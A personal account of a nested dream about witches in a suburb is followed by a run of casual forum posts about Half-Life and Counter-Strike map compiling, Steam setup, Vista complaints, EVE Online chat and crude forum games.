I had a dream, or rather three different dreams inside of each other and I don't know exactly if I was awake or not in the intermediary stages. I dreamed that I was in living in a old school hotel with brass handrails on the staircases and elaborate carpeting, but poor lighting and facilities, and that there was this family that was coming in and visiting it for the first time and they were surprised on the level of jaws dropping and having no idea how to express themselves. I kept thinking "dude, it's New York, and this place sucks." I was also helping a classmate get a virus off his computer or something and in between I think I was playing X-men on a Genesis emulator?

When I was dreaming within the dream, it was about witches. I was in some sort of suburban community, not excessively rural, the houses looked like they would have been built within the past five years at the most, but there were witches. These witches were ordinary looking girls who were behaving normally enough, but the issue was in that everyone around them was going mad and would start running down the street and tearing each other apart. People knew what was going on, but since the witches could turn it on and off at their leisure, no one really suspected anything, and they remained quite nonchalant about it.

The first time I ran into the witches, it was in a room that looked like one of the bedrooms at my dad's house. I was following one of the witches around and she decided she didn't like that, so she conjured up some grotesquely obese man who was hiding under the covers of the bed. He wore glasses, was covered in skin lesions, and didn't seem to have any legs, but the strangest thing about him was that whenever he was nearby he would generate this intense, almost unimaginable heat. He kept trying to attack me or creep me out or something, but it didn't work out so well because I kept half waking up from the dream (I don't know if I was waking up into the other dream or if I was actually waking up and just going back to sleep again).

After that, the witches decided they weren't going to bother with me, not that I could easily tell which witch was which (yes I had to do that). I think it's probably because the witches were all really cute and whenever I saw one of them I kept thinking "hey, I'd ask her out if she wasn't trying to kill me" [this has also happens IRL, but I don't know if they're witches]. So they would send the people in the neighborhood on a murderous rampage for no particular reason (they derived no joy from it, and barely seemed to respond to it at all) and I would just wander around with them, seeing what they'd do and watching, and since none of them were trying to kill me, just each other, it didn't really matter.

There was a group of people that seemed to be outside the reach of the main witch I was following, so I tagged along with them for a while, but I noticed that one of the girls in the group (also really pretty) was rather blase about the whole thing and I started to think she was probably a witch too. We headed into another more distant house in the woods and as soon as we got inside, she turned the other people against one another and then pounced on me, but I woke up after that because my alarm was going off. I'm still not quite sure if she was going to tear me or apart or if we were going to have crazy witch sex or something. It could have been both.

In [Project] Im back by DJchul3l3y:
Hey guys,

So recently ive been studying functions of programs and whatnot during my Computer Studies course and we stumbled upon animation. Which led me to think, "Hey, Ive already made one of those" although short and shitty (Yes, it was short and shitty however made in one day, although i am sure you already know that). So ill fill you in on where i am.

I actually know 100% what this is going to be about but its a secret for now. There's going to be lots of gags, jokes, etc.
Oh i forgot to mention - It will also include narrations.

However, before i begin development someone needs to help me with the following:
- Custom Loader
- Counter Strike Sound database

Downloading Flash CS3 again (New PC) as we speak

In Counter Strike Game problem by titanium00neon:
No, no. Look. My laptop isn't. My home computer isn't. None of my friends can do it either. Just that computer. And we're on holiday now

In Havokk the dumbass by Down Rodeo:
If you login from a new computer it will no longer allow you to be logged in stylishly from the previous one, regardless of whether you log in stylishly from the new one or not.

In Counter Strike Game problem by titanium00neon:
I have Goiceasoft Counter Strike 1.8. It's a lot better than 1.6 but it has a problem. Installation has more then 100 maps. Most of them are from 1.6 and they work. But others need to analyze first so you can add bots. Only on 1 of 60 school computers this process finishes. Doesn't do it on my laptop, doesn't on my home computer, my dad's, my every friend's computer......... It just starts again and again and again... Does 1.6 have this problem? Do I need to download the 1.6 version? None of my maps can be playable until I take it to school, analyze, copy the .nav file from cstrike/maps and then bring it home again. Makes me crazy....

In cloud system by the_cloud_system:
Ok, I'm in the middle of Arizona and I have a connection of exactly 100 kbps (Wildblue). Satellite...

My grandma has a dialup connection of 26.4 kbps. It is slow.

I'm thinking of getting a bla bla bla phone line hardware put in my computer and try to play CS. So tell me, O wise Jer of superness, tell me now.

In Old Forum Game by eDan Co.:
Hey! Hey! Hey!
I said:
Take a computer game or a movie's title and replace one of the words with 'vagina'.

It loses it's funny-value if the whole title is 100% sexual.

Requiem for a Vagina

In Old Forum Game by jrkookid:
eDan Co. said:
This was the first forum game played on superjer.com.
Take a computer game or a movie's title and replace one of the words with 'vagina'. ('fart' can also work)

Harry Potter and the Sorcerer's Vagina
Vagina Job
Grand Vagina Auto

In A problem that occured by turnip1:
Oh eDan sorry i forgot about this post well actually the whole thing took about 1.55 seconds (the complete file) and i was kinda weirded out by that even though i just got a brand new computer and it got over clocked at 48000 i still didnt see how it was compiling that fast turns out leaks actually speed up the process? (or cut things out) because there was a leak in my map i didnt bother to fix until after and it takes about 30 seconds for the lighting now 2 minutes total. You got me to think why it was so fast and now i understand leaks are more than just a leak. Thanks eDan

In Schpida! He is our hero! by the_cloud_system:
aaronjer said:
Check this shit out now. It also lines up with 4/4 100 tempo if your computer isn't retarded.







how do u do that, [in flash?]

In I think the best song ever..... by Mate de Vita:
Meh I don't have speakers on this computer so I can't listen. I will when I have a chance.

In 6th Annual Pole Socking / Storm Chasing Olympium. by the_cloud_system:
attaion!!!!\


i have found the murderius people of superjer!!!!



straw a.k.a. ladey twecko





a.k.a. homey



Jrkookid a.k.a. irish drunk bastard



Mate de Vate {self explanitoray?}



molkman a.k.a. a civil war



NatureJay a.k.a. space ghost cost to cost



xXJigsaw23Xx a.k.a. he got chubs



superjer a.k.a. zombey to the computer



aj a.k.a. the nazi cat



Down Rodeo a.k.a. BIG ASS CAT





melloyellow a.k.a a soft surve

http://www.google.com/search?hl=en&rls=com.microsoft%3Aen-us&q=thecloudsystem
**BAD IMAGE**

cloud system a.k.a fucking idiut




eDan Co. a.k.a .......


{i dont know if i should do more...}


the people are highley dangrus they all know how to bust a nut on yo ass

In 6th Annual Pole Socking / Storm Chasing Olympium. by Mate de Vita:
Thank you Tom for this short intermission.

Now back to the pressing matter at hand.
Anonymus Writer said:
Someone said:
Mage Investigage rides around in Edan's pants like a kangaroo baby. Only he is able to steer and direct Edan's wrath upon his enemies.

You seem to know much about me and eDan... Do you spy on us? Do you work for the CIA?

After this anonymus suspicion report my team decided to investigate. We managed to get several pictures of a CIA agent who we later learned has the codename "atojams" (on the left in these pictures).






As we see, he has a female partner, whose codename is as of yet unknown, even though we managed to get her picture with hair dyed blond when we hacked into CIA's main computer. Unfortunatelly her codename is unknown even to CIA. This is the photo of her taken by CIA's professionals:


We have however managed to learn how atojams managed to slip a microphone into our anonymus writer's flower pot in the garden.

First he used this advanced spy-watch to locate the flower pot:

Then with it he gassed everyone in the 25 meter radius with a gas that causes a concussion and 24-hour memory loss.

Then he came with a gas mask and quickly inserted the microphone and a tiny camera into the flower pot and left. Here's a photo taken by a security camera:


Now a short break and then we come back with another story.

In New problem! help please! by Down Rodeo:
titanium00neon said:
greger123 said:
Nvm. im totaly done now ; ) thx for help tho. managed to do the rest myself. Pretty complicated with vista. : / and swedish version..

You obviously are a standard user on Computer. Try some tutorials and stuff to learn how to use PC, then try advanced stuff like mapping and programming. I also have Vista and it's working perfectly since the day I bought it. You just need to know how to use it. Never mind, you're probably just stu.

I say we no longer help this guy. Vista is unintuitive and shit. The day I got Vista it bluescreened four hours in.

In New problem! help please! by titanium00neon:
greger123 said:
Nvm. im totaly done now ; ) thx for help tho. managed to do the rest myself. Pretty complicated with vista. : / and swedish version..

You obviously are a standard user on Computer. Try some tutorials and stuff to learn how to use PC, then try advanced stuff like mapping and programming. I also have Vista and it's working perfectly since the day I bought it. You just need to know how to use it. Never mind, you're probably just stu.

In Other people lag on my map on LAN by headtanner:
same prob here but i think its because my other computer's graphic card sucks cause when i put it on hlds it works fine with my friends computer. plus LAN ping is 5 -10

In Schpida! He is our hero! by aaronjer:
Check this shit out now. It also lines up with 4/4 100 tempo if your computer isn't retarded.




In New problem! help please! by greger123:
Mate de Vita said:
Apparently you're not allowed to write in the location where you have your steam folder (C:\Program Files or something). Are you the computer's administrator? If not, the administrator has to allow you to write stuff in that location.


I am the computer admin

In hello...more problems... by Mate de Vita:
Also you have some textures that are too large. While this may not cause problems on your computer, it might cause problems on some people's computers especially on software mode. So if you want your map to be played by other people as well I'd advise you to scale the textures down a bit.

Still, as KD said, post the contents of your bat file.

In compile is pissing me off by Down Rodeo:
Large, complicated maps take a long time. You could upgrade your computer to have more memory and a faster processor if you want, that would help.

In 2 problems by reece:
Okay i got a new computer :)))) now im trying to compile a new map but im getting this error
0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
Error: Entity 0, Brush 5, Side 4: has a coplanar plane at (-512, -1024, -256), texture -3SAND
Error: brush with coplanar faces


And my second problem is i have vista 64 and my steam is ocated in my program files (x86)/Valve/ and i put that in the .bat file but it says the file specifed could not be found.

This is whats in my .bat

@echo off
hlcsg -nowadtextures fy_waller
hlbsp fy_waller
hlvis fy_waller
hlrad fy_waller
copy fy_waller.bsp "C:\Program Files (x86)\Valve\Steam\steamapps\kittycats\counter-strike\cstrike\maps"
pause
"C:\Program Files (x86)\Valve\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 1 +map fy_waller


This is my compile log:
hlcsg v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlcsg -----
Command line: hlcsg -nowadtextures fy_waller
Entering fy_waller.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 4 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
Error: Entity 0, Brush 5, Side 4: has a coplanar plane at (-512, -1024, -256), texture -3SAND
Error: brush with coplanar faces
Description: The map has a problem which must be fixed
Howto Fix: Check the file ZHLTProblems.html for a detailed explanation of this problem

(0.02 seconds)

----- END hlcsg -----



hlbsp v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlbsp -----
Command line: hlbsp fy_waller
>> There was a problem compiling the map.
>> Check the file fy_waller.log for the cause.

----- END hlbsp -----



hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: hlvis fy_waller
>> There was a problem compiling the map.
>> Check the file fy_waller.log for the cause.

----- END hlvis -----



hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: hlrad fy_waller
>> There was a problem compiling the map.
>> Check the file fy_waller.log for the cause.

----- END hlrad -----





BTW this is my mpa/idea don't steal it.

In SO,.... by xXJigsaw23Xx:
you brokestided my computer!

In Schpida! He is our hero! by aaronjer:
I draw on my computer, pixel at a time or otherwise, because I CAN'T draw by hand. I have neither the desired accuracy nor the steadiness in my fingers to draw effectively with pen or pencil. With a mouse though... it's a whole different story.

And Havokk... if you think something looks wrong, just tell me. I WANT to know if there are any problems. That's why I'm posting things here.

In Schpida! He is our hero! by the_cloud_system:
soooo do you draw this on the computer cause alll the pixals...

In Ok by SolidKAYOS:
Ya David said it was tracking cookies and spy ware shit and all that and i thought i was ganna have to clean my computer.But i never showed the picture to anyone so.

In Ok by SolidKAYOS:
I have asked so many ppl.I even asked my computer geek friends.Its been like months ive been trying to fix this and i didnt really wanna bother asking you guys till now and i got my answer by the end of the night lmao.

In Ignore this EVE related post by aaronjer:
Actually, in this case... strangely enough... everyone but Piotyr is me. I wrote all of this to try to convince him that our alts are real people. Ya know, just for the lulz.

Platanov is actually Nezumi, I was just logged in as his character to facilitate my mining ventures. In EVE you can be logged in with as many accounts at once as your computer can handle. Mine can handle somewhere between 1-10 depending on how many other things I'm running.

In Need help fast plz:> by macogoo:
Hey guys, sorry, was off for 2 days from the computer . I see heres alot answeres:), Thank you! But how to you do the mirror thing in paint that you talked about

In Crazy windows by aaronjer:
It used to be that if you typed con/con in run in earlier versions of windows your computer would crash quite violently. I don't remember why... but I know I looked it up once.

In Compile error by Mate de Vita:
Allright, I just have to get to the other computer, then I'll check it out.

In The making of a aim map by newbie:
Down Rodeo said:
Reinstall Windows.

Oh no, I can't say that. Ehh try clicking on Steam 'remove all local content' then remove all the stuff in your Steam\steamapps\YerUsername\cstrike\ folder. On the other hand if you have no other Steam gaemz installed you could uninstall Steam, remove all of your Steam folders then reinstall Steam and redownload etc.


I haven't tried reinstall Windows but I tried to reinstall steam and Cs and deleted the hole Half-life folder. But it didnt work.

awhippo said:
newbie said:
Too bad my cs wont work.....
does someone know how to fix my problem.
One day I steam updated steam and then when I started Cs it came up a message.
Abnormal program termination; C++ error.
and another sentence came up. dont realy remember and cant find out bcuz I uninstall every program on my computer which had anything to do with CS.
like this. program/blahaha/shahah/ahhaha/hl.exe




hmm well just do what he sead and if that dont work go to steampowerd.com and open a ticket and ask for help the admins there are fast and help alot thats how i got my account back thay would know how to fix it if reinstalling will not help


Thank u. I search for a topic like my problem and the admins had already figured it out, so thanks

In The making of a aim map by awhippo:
newbie said:
Too bad my cs wont work.....
does someone know how to fix my problem.
One day I steam updated steam and then when I started Cs it came up a message.
Abnormal program termination; C++ error.
and another sentence came up. dont realy remember and cant find out bcuz I uninstall every program on my computer which had anything to do with CS.
like this. program/blahaha/shahah/ahhaha/hl.exe




hmm well just do what he sead and if that dont work go to steampowerd.com and open a ticket and ask for help the admins there are fast and help alot thats how i got my account back thay would know how to fix it if reinstalling will not help

In The making of a aim map by newbie:
Too bad my cs wont work.....
does someone know how to fix my problem.
One day I steam updated steam and then when I started Cs it came up a message.
Abnormal program termination; C++ error.
and another sentence came up. dont realy remember and cant find out bcuz I uninstall every program on my computer which had anything to do with CS.
like this. program/blahaha/shahah/ahhaha/hl.exe


In error compiling by jozz:
i'm newbie to make a map

i have a problem in compile problem
i used this link to help me
http://www.superjer.com/learn7.php
i've followed the instruction and the problem is
When you're sure you have it right, save the file and close Notepad. Then double click on the file 'mapname.bat' to run it. Lot's of confusing stuff will show up in a command window as ZHLT compiles your map. When it is done you will see (at the bottom):

but my computer doesn't respond anything
it was just a note. nothing happened

can anyone help??

In Log in screen by Down Rodeo:
Truly, AaronJer speaks words.

It shouldn't be impossible to do that - as far as I know I am able to log in from any computer and stay logged in on the others as far as the Luxrender.net forums are concerned. They just use phpbb I fink.

In Log in screen by aaronjer:
Nuh-uh. SuperJer could just make it so everyone is always logged in on every computer and when you post there's just a drop down menu where you can pick from any user to post as.

In Log in screen by Down Rodeo:
I'd like to log in from a couple of computers. But then, I'd like to be able to log in from any other computer, I forgot my password... I got really paranoid that you guys could read it so I changed it to something but I really can't remember it.

In Log in screen by Mate de Vita:
superjer said:
As long as you don't clear your cookies and stay on the same computer, your stylishness will survive.

If you switch back and forth between computers (or browsers) you gotta keep logging in.

Can I see a show of hands? How many people like/don't like this?

I don't like the part where you have to log in again if you change computers.

In Log in screen by SuperJer:
As long as you don't clear your cookies and stay on the same computer, your stylishness will survive.

If you switch back and forth between computers (or browsers) you gotta keep logging in.

Can I see a show of hands? How many people like/don't like this?

Also you guys delete spam so fast I don't get a chance to see it. Somebody leave one up and e-mail me or tell me the user name or something so I can investigate.

In Log in screen by Mate de Vita:
Ah so you telepathically tell the computer to download the special prgramm made by handicapedsoft with which you then write whatever you don't want. Clever.

In Log in screen by Down Rodeo:
It's because there is a cookie that Soopererjams stores on your computer. If the server notices you logging in from a different computer the cookie on t'other one becomes invalid.

On a side note, enough with the deleting posts! Who keeps on doing this?

In Another Laptop Keyboard Quesdshun by molkman:
So, you might remember my dead laptop keyboard issue from the days of yore. I now bought a USB keyboard which works just fine, but since the old keyboard isn't dead completely and got hurt by effing coffee all over it, "it likes to press buttons randomly". Like, sometimes you can't press R on the USB keyboard, because the broken keyboard "presses" CTRL all the time and this makes "CTRL+R" and opens the run window. And you get random windows popping up from time to time...

Now, my question, can I turn of the "original keyboard" somehow and only use the USB keyboard? Or would it hurt the computer itself if I ripped out all the -now useless- keys? (That would probably not change anything, since the keys (like CTRL) react without pressing, appearently because of the coffee.)

In Jokes by SolidKAYOS:
Does he match anyone els's?And i know for a fact its not mine.Unless AJ found em and talks on falling shit on my computer when im asleep.

In Help with the expert.fgd by Mate de Vita:
LOL that's funny... You're asking us where your directory is? Lol...
OK I'm done.
Anyway it's where you installed hammer (probably not in your steam folder, though it might be). If you can't find it, go to my computer, press search and search for valve hammer editor or something.

In Recruiting is hard work. by NatureJay:
Platanov > I'm back!

Platanov > Gallente : Cistuvaert (CAS) , Bourynes (Caille School) , Duripant (FNA) (mine)<br>Minmatar : Ryddinjorn (PTS) , Hulm (Republic University) , Ammold (RMS)

Vsevolod Petrosyan > Sorry, my computer was all like "ARBITRATION!" and I was all like "I WANT TO LIVE!" and there were some explosions. Think we've all been there

Platanov > Caldari : Todaki (SAK) , Amsen (STI) , Kisogo (SWA)<br>Amarr : Emrayur (RAI) , Sehmy (Hedion University) , Chaven (IAC)

Platanov > Eve just crapped out a minute ago for me.

Vsevolod Petrosyan > Yeah, I started in Chaven

Platanov > Well, everyone in the corp is instructed to proceed
to the nearest starter system and harvest warm bodies for the corp.

Vsevolod Petrosyan > Can I sew their skin into a form flattering dress?

Vsevolod Petrosyan > "The bodies are supposed to stay warm. They can't do that without skin."

Vsevolod Petrosyan > Shit!

Platanov > Well, you can replace their skin.

Platanov > As long as you use the dress to recruit at least two new members it doesn't matter anyway.

Platanov > You know, while I'm in this n00b system, I'm tempted to drop a can so someone will loot it. Then I can shoot them.

Vsevolod Petrosyan > That's a good recruitment policy. It strains out the stragglers

Platanov > Yea.

Platanov > Ok, here goes the recruitment spam. Oh! Btw, we need a station so we can publish a recruitment advert.

Platanov > Uh, an office I mean.

Vsevolod Petrosyan > We have a station filled with prostitutes. That should be our advert.

Vsevolod Petrosyan > What we don't tell them is that they power a mighty machine

Vsevolod Petrosyan > Which may or may not be Commie's mechanized pants

Platanov > I think I got a two-fer!

Vsevolod Petrosyan > Try for a threesome! Er, foursome...

....

Vsevolod Petrosyan > What happened to that blood you promised? I'm highly disappointed

Platanov > They should be on their way.

Vsevolod Petrosyan > I hope that a miscreant space entity devours them along the way

Vsevolod Petrosyan > We'll all be like, "man, why you gotta do a thing?" but it will only answer in frequencies beyond our comprehension

Semyon Gnyevko > You mean frequencies above 20 kHz?

Semyon Gnyevko > Couldn't we just record it with a machine?

Platanov > How'd you find out about the machine!?

Vsevolod Petrosyan > He knows about the machine... it was supposed to be under wraps...

Semyon Gnyevko > Well, you wrapped it in fruit wraps... I just kept eating them until all was revealed.

Vsevolod Petrosyan > I should have never trusted that twelve year old charlatan.

Semyon Gnyevko > And you sealed it with fruit by the foot. It's like you were just ASKING me to open it.

Semyon Gnyevko > With my mouth.

Vsevolod Petrosyan > We thought mummy wraps to keep it cursed, or perhaps shrink wraps to keep it small and manageable, but no, he had a surplus of fruit wraps. A good deal he said! A good deal of gut turning I assumed

Vsevolod Petrosyan > Clearly, we have underestimated his stomach. To prevent future mistakes, we must study it as an alternative fuel source.

Semyon Gnyevko > Okay, seriously. Are you running some kind of funny boosting algorithm? You HAD me in stitches, but now all the stitches have come undone and I'm spilling hilarious innards all over.

Vsevolod Petrosyan > I don't know. I'm kind of stressed and that causes me to crack out a bit.




This is most of what we do in EVE.

In Once again I feel nothing but hatred for Windows Vista. by NatureJay:
My main beef with Vista is that you have to know how to use a computer in order to use it and it constantly presumes that you do not know how to use a computer.

"Are you sure you want to launch this executable you just double clicked on? It could be dangerous. What about changing your settings?"
"For your sake, I wish it was dangerous."

In Groups and Definitions by aaronjer:
Oho, I was playing counter-strike during the first public beta. Beat that! Oh, you can't! Because that's as early as it gets, bitch!

...not that I STILL play it or anything.

Besides, that list leaves the assumption that there are people here who play more games than me, which is definitely not true. I'm at a computer or console 95% of my waking time, during probably 90% of that time I'm playing some kind of game. I may ALSO be posting on SJWEB/com.forams, but trust me, I'm pretty much always playing a game or sleeping.

In I am crying of wierdness! by 1469779:
Mate de Vita said:
Does this happen with every map or just this one?
Try making a very simple map (just a hollow box with a light and an info_player_start) and try it.



Please help me! I can export to .MAP without hammer closes down I have tried to just make a hollow box and I tried to upgrade to version 3.5 but it doesnt work! :( I have re-instaleld it 4 times and I have tried to repair! Is there any problem with my computer or... PLEASE HELP!!! X(X(X(X(X(X(

In I am crying of wierdness! by 1469779:
No it still dosent work :( I can export .MAP and .DXF but .MAP still dont work X( is it the computer or what?

In Could someone compile a file for me please? by eDan Co.:
My computer is shit, that's what's wrong.

In Can Somebody Help me to compile the map ? by KnightOfH3ll:
Wait a sec. how is someone else going to compile the map if it has problems. Problems are not only on your computer.This only if your map has problem.

In 2 Questions about Hammer: by Mate de Vita:
As I already said in another thread, if you make a map across the whole grid, you'll most likely end up with a hell of a compile time (possibly a few days, depending on your computer) and terrible performance ingame. I'd make it a bit smaller...

Oh and resizing the whole map like that can be dangerous... I think. Because I doubt that hammer snaps all the vertices to the grid when you resize it like that and if it doesn't, that can cause holes in the map or something (as the game will do it in its own way).

36 spawns might be useful if you wanted the players to spawn in different places every round even when having the max amount of players... I guess.

In please help with a very wierd thing! by 1469779:
are you sure?? Cause I have been like checking files and if I write something wrong and as I can see it seems fine? this a new computer but my old one worked fine and I made over 12 maps

In Map compile error! Need help quickly!!! by Down Rodeo:
It ran out of memory. How much RAM does your computer have?

In Post-compiling error by juicebox:
oh the compile went fine, im thinking the problem was vista, because my computer has plenty of power. :S

In Advanced Info: Clip Texture and ORIGIN Brush??? by LivingDog:
Ok, I forgot you guys don't have "auto-alert" and also have been sick for two days - not being able to even use my computer... I just read again that the zhlt.wad can be added to hammer - but in the C:\zhlt folder ... or added to the other 2 wads IN HAMMER??? If so that may fix the problem.

Yeah, the basic tutorials got me learning the basics in like 2 hours... amazingly clear and well written.

My learning curve was good until the illness (i got the "dizzy flu" and still have it a bit... mayb tomorrow ill b back to normal... )

Thanks for the replies!

EDIT: yeah, placing the zhlt.wad IN hammer did the trick. I used the filter found the CLIP brush and now all I have to do is get the door to activate with a metal sound.

Thanks a million!

In a few questions. by turnip1:
Well when you say surface area are you saying i should just add more stuff inside? or just make it even smaller but my computer also
sucks a lot so im not sure i do have a pretty big map but i need to if its gonna be a death run and i see that other people have gigantic maps such as the star_wars maps (massive) this room is maybe 1/2 the size of awp rooftops. but ill try down sizing some more and see if it gets resolved thanks superjer.

also i was trying to make a square brush rotate like a barrel roll in place i tried some different func's but the way i set it up didnt work i guess could someone tell me the func to do it? (the brush is horizontal) i dont understand the xyz stuff with this type of thing.

In a few questions. by turnip1:
I am still getting this error i was at the beginning of this post but i can still run the map its just the toxic texture doesnt show up and i'm running constantly all around the map at 3-10 fps. I have tried that link edan sent me i tried everything it said to try (clear out unused files, empty recycling bin, defragged my computer (twice)ran a few scans for viruses got rid of programs and excess games that i didn't need.) but still i get this damn error could this be because my computer is a piece of fecal matter?...lol also i have down sized my map a considerable amount it went from 150000000.00 to 100000000.00 (approx) now after doing all of this ofcourse i make it 20% farther than usual but my map isnt that big maybe because of all the solid entities funcs and triggers? i dont know a simple answer would be nice though


Oh i guess it wasnt the same error this is my error i have been getting here

MakeScales:
Error: Memory allocation failure
Description: The program failled to allocate a block of memory.
Howto Fix: Likely causes are (in order of likeliness) : the partition holding the swapfile is full; swapfile size is smaller than required; memory fragmentation; heap corruption

In Mod_Extradata: caching failed by Down Rodeo:
It sounds like you are running out of memory. Increase the swapfile size or get a RAM upgrade (SRAW said "if you have a good computer", I'm not sure yours falls into this category).

In compiling error by Mate de Vita:
headtanner said:
Another problem

Its taking an extremely long time to compile the map ten munites and still only 10% done

some maps take several hours or even more to compile, depending on their size and your computer.
Try a problem check in hammer though (alt+p).
Also which part is taking so long (What does it say above the 10%...20%...30%... line?)

btw LOL I was just going to tell you to make sure you didn't turn the whole map into one brush since that's what I'd done one time and then I saw you'd already found it.

In TQ ports by NatureJay:
Okay, it looks like Steam functions on my computer now, but damned if it isn't taking a long time to download. Stupid cable connections. The dorms have t lines, but we're apparently not good enough for that.

In **NEW FORUM ONLINE** by SRAW:
superjer said:
I renew the forum every night -- if you know what I mean.


purging porn links? or planting exe cookies that will install a back door on our computer and hack it??

In how can i play my map at a online/dedicated server? by kris111:
newbie said:
If u want your own server (on ur computer)must open a port in your router (If u have one) http://portforward.com/

then install deticated server from steam (tools tab)

lanuch deticated server and chose ur map. start the server.



but what files does i need for loading the map...?

bsp and?

In how can i play my map at a online/dedicated server? by newbie:
If u want your own server (on ur computer)must open a port in your router (If u have one) http://portforward.com/

then install deticated server from steam (tools tab)

lanuch deticated server and chose ur map. start the server.

In Steam problem by Mate de Vita:
Brolyfreiza said:
so i dont need any paths leading to steam at all?... i still dont understand what "EXACTYLY i should write" , maybe if i give you the dir link, you can tell me what to write?

An example: if your computer username is Brolyfreiza and you have steam on D then instead of
copy mapname.bsp "C:\Steam\SteamApps\EMAIL\counter-strike\cstrike\maps
you write
copy mapname.bsp "D:\Steam\SteamApps\Brolyfreiza\counter-strike\cstrike\maps"

If there is no counter-strike folder inside the Steam\SteamApps\Brolyfreiza, then there's probably something wrong with your game... I think.

In Steam problem by Brolyfreiza:
Killer-Duck said:
The path to your maps-folder.


From the tut:
Quote:

"C:\Steam" may not be the correct location of Steam on your computer. Make sure you type the correct location on both the lines where it says that. Also replace "EMAIL" with your account name. And if you do not have a "maps" folder, create one.


so i dont need any paths leading to steam at all?... i still dont understand what "EXACTYLY i should write" , maybe if i give you the dir link, you can tell me what to write?

In Steam problem by Killer-Duck:
The path to your maps-folder.


From the tut:
Quote:

"C:\Steam" may not be the correct location of Steam on your computer. Make sure you type the correct location on both the lines where it says that. Also replace "EMAIL" with your account name. And if you do not have a "maps" folder, create one.

In ATTN: molkman by eDan Co.:
ICQ sucks! It's probably the most successful Israeli invention (after the disk-on-key) and it SUCKS!!

They force you to upgrade it all the time, and every time you do it installs so much crap on your computer!! It's a shame AOL did such a thing to a great idea.

In Bump 'n' Flump by SRAW:
i learned to play the piano, recorder, drums, violin and other crap, but they really dont interest me and i just want a better computer

In armoury_entity problem by bandora:
Mate de Vita said:
bandora said:
Mate de Vita said:
bandora said:
well I want more than 8 vs 8 in my map.. And max players in the server is set to 18

I said 16 spawn points for each team. Means 32 players in total which is the max number of players on any cs server (unless it's been 'hacked').


Oh sorry! ok.. Does that actually crash the server if 7-8 people join teams though??

I'll put more spawn points, but isn't there maps that has less than 32 spawn points?? or all of them has 32 spawn points?

well no it shouldn't be the reason for the server crash. I just mentioned it.
The only reason I can think of is that your computer (or the computer of whoever is hosting the server) or the connection isn't good enough for so many people at once.
Otherwise I have no idea... I'm not really a pro at this.


Well it's a server hosted by a company and usually held for scrims so yes it does hold 10+ people.. it only does that on my map.. I have a feeling it's the fgd and it's from the gpe entity, but I can't seem to find a good fgd..

In Graph something something whatever by eDan Co.:
I talked to him today. He said it's for a school project that MUST be in C#. He want's to make an interactive environment where he can place differently shaped objects on different surfaces and simulate interactions.

I have no idea what this means (computer-wise), but it needs to be in C#.

In armoury_entity problem by Mate de Vita:
bandora said:
Mate de Vita said:
bandora said:
well I want more than 8 vs 8 in my map.. And max players in the server is set to 18

I said 16 spawn points for each team. Means 32 players in total which is the max number of players on any cs server (unless it's been 'hacked').


Oh sorry! ok.. Does that actually crash the server if 7-8 people join teams though??

I'll put more spawn points, but isn't there maps that has less than 32 spawn points?? or all of them has 32 spawn points?

well no it shouldn't be the reason for the server crash. I just mentioned it.
The only reason I can think of is that your computer (or the computer of whoever is hosting the server) or the connection isn't good enough for so many people at once.
Otherwise I have no idea... I'm not really a pro at this.

In Does my graphic card suck? Discuss that and more in this truck. by Mate de Vita:
aaronjer said:
I'd suggest spending your time trying to make a homunculus instead.

I listened to your advice and tried it but apparently my graphic card sucks too badly for me to make a homunculus even though I tried doing it without the computer.

In How can i make knifes only in hammer by Mate de Vita:
not right now, maybe later today. I have to get to the computer on which I have hammer first.

In A fast question! by Mate de Vita:
I actually have no idea...

Open your My Computer and go to search and search for mapname.map (e.g. de_inferno.map).

In Does my graphic card suck? Discuss that and more in this truck. by aaronjer:
Your computer isn't really good enough for anything. I'd suggest spending your time trying to make a homunculus instead. Much more rewarding.

In I really need help for saving the map,plz help.... by zxcvb7653:
I went to the stage when.....


Go back into Hammer and click File->Export to .MAP. Save you map as 'mapname.map' in the folder where you just created 'mapname.bat'. Then close Hammer and go back to the folder where 'mapname.bat' is.

Now right click on 'mapname.bat' and choose Edit. This should cause Notepad to open with nothing in it. Type the following stuff into the document exactly as shown, replacing 'mapname' with whatever name you are actually using:

Without Steam
@echo off
hlcsg -nowadtextures mapname
hlbsp mapname
hlvis mapname
hlrad mapname
copy mapname.bsp "C:\half-life\cstrike\maps"
cd C:\half-life
pause
hl -dev -console -game cstrike +sv_cheats 1 +map mapname

"C:\half-life" may not be the correct location of Half-Life on your computer. Make sure you type the correct location on both the lines where it says that.


When you're sure you have it right, save the file and close Notepad. Then double click on the file 'mapname.bat' to run it. Lot's of confusing stuff will show up in a command window as ZHLT compiles your map. When it is done you will see (at the bottom):

Press any key to continue . . .


